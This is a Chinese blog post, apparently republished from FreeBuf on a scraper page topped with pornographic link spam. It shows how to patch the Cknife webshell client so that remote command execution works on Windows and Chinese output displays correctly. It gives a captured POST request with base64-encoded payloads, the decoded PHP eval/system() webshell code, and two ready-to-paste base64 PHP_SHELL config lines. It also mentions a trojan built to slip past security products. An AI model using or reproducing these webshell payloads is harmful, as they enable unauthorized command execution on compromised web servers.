日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

發布時間:2023/12/10 php 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

在現在滿大街菜刀都存在后門問題的時候,Cknife橫空出世了。因為開源,所以安全。因為可操作的空間挺大的,也十分適合過各種WAF。下面就是解決兩個常見問題的過程。希望可以幫到各位白帽子。

但是使用過程中也遇到了一些小問題,被吐槽最多的就是中文亂碼以及部分Windows環境shell無法回顯。下面我來分析過程,解決問題:首先是shell回顯問題,shell在部分windows環境中是不能執行cmd的

哇,氣死人了。

昨晚寫出來了配套的過狗過D盾過360一句話木馬,也把Cknife的數據做了加密。

然而,這東西根本無法好好使用啊!

測試一句話(服務端):

于是給Cknife,連接shell,打開burp抓包

這是執行”whoami”時候的請求,沒有返回的報文。POST /test.php HTTP/1.1

User-Agent: Java/1.8.0_121

Host: localhost

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Content-type: application/x-www-form-urlencoded

Content-Length: 598

Connection: close

a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2bfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d&z1=Y21k&z2=Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0%3d

本地模擬了服務端處理客戶端請求的場景<?php

//客戶端發送請求

$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw==';

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=';

$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw==';

//服務端

eval(base64_decode($_POST['a']).';');

然后Base64解碼<?php

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';

eval('

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$p=base64_decode($_POST["z1"]);

$s=base64_decode($_POST["z2"]);

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";

system($r." 2>&1",$ret);

print ($ret!=0)?"ret={$ret}":"";;

echo("|

');

這就通過短短一句話木馬來做事情的秘密了。

特么的!最坑的地方知道是什么嗎!我找了一晚上!

看似很正常對吧?$p = ‘cmd’;

$c= ‘whoami’; (舉例)

$r="{$p} {$c}";

然后system($r);

一切都很完美吧?

那你就錯了,因為

呵呵,所以shell環境是Windows的時候有可能發生這種低級問題,

你!根!本!執!行!不!了!命!令!

解決起來也很簡單

明文修改部分就行了!<?php

$_POST['z1']='Y21k';

$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';

eval('

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$p=base64_decode($_POST["z1"]);

$s=base64_decode($_POST["z2"]);

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";

$r="{$s}";

system($r." 2>&1",$ret);print ($ret!=0)?"

ret={$ret}

":"";;echo("|

');

實際操作只需要

打開c刀的Config.ini文件,查找 ?“php_shell=”

修改成PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSk7CiRzPShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSkpOwokZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOwokYz0kczsKJHI9InskY30iOwpzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d

就行了,然后重新打開一次C刀。大功告成。

這只是第一部分,回顯中有中文依舊會亂碼,于是就有了后半部分文章

中文亂碼解決

抓包,得到數據,可以看到,本地模擬的情況下。system函數執行的回顯是亂碼的。

后來經過測試,是編碼的問題 ,把編碼修改成utf-8即可顯示中文啦~

下面是具體操作

并且需要把system函數修改成exec函數,用來把回顯賦值給變量

修改部分exec($r." 2>&1",$retn,$retn2);

foreach($retn as $res) {

$res = iconv("GBK", "UTF-8", $res);

echo $res;

echo "\n";

};

即可正常顯示中文

修改cknife目錄下的config文件中的php_shell為修改部分 PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokcz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsKJGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7CiRyPSJ7JHN9IjsKZXhlYygkci4iIDI%2bJjEiLCRyZXRuLCRyZXRuMik7CmZvcmVhY2goJHJldG4gYXMgJHJlcykgewogICAgJHJlcyA9IGljb252KCJHQksiLCAiVVRGLTgiLCAkcmVzKTsKICAgIGVjaG8gJHJlczsKICAgIGVjaG8gIlxuIjsKfTsKZWNobyAkcmV0bjI7CnByaW50ICgkcmV0bjIhPTApPyJyZXRuMj17JHJldG4yfSI6IiI7OwplY2hvKCJ8PC0iKTsKZGllKCk7

即可正常回顯中文啦~

*本文作者:Lz1y,轉載請注明FreeBuf.COM

總結

以上是生活随笔為你收集整理的c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。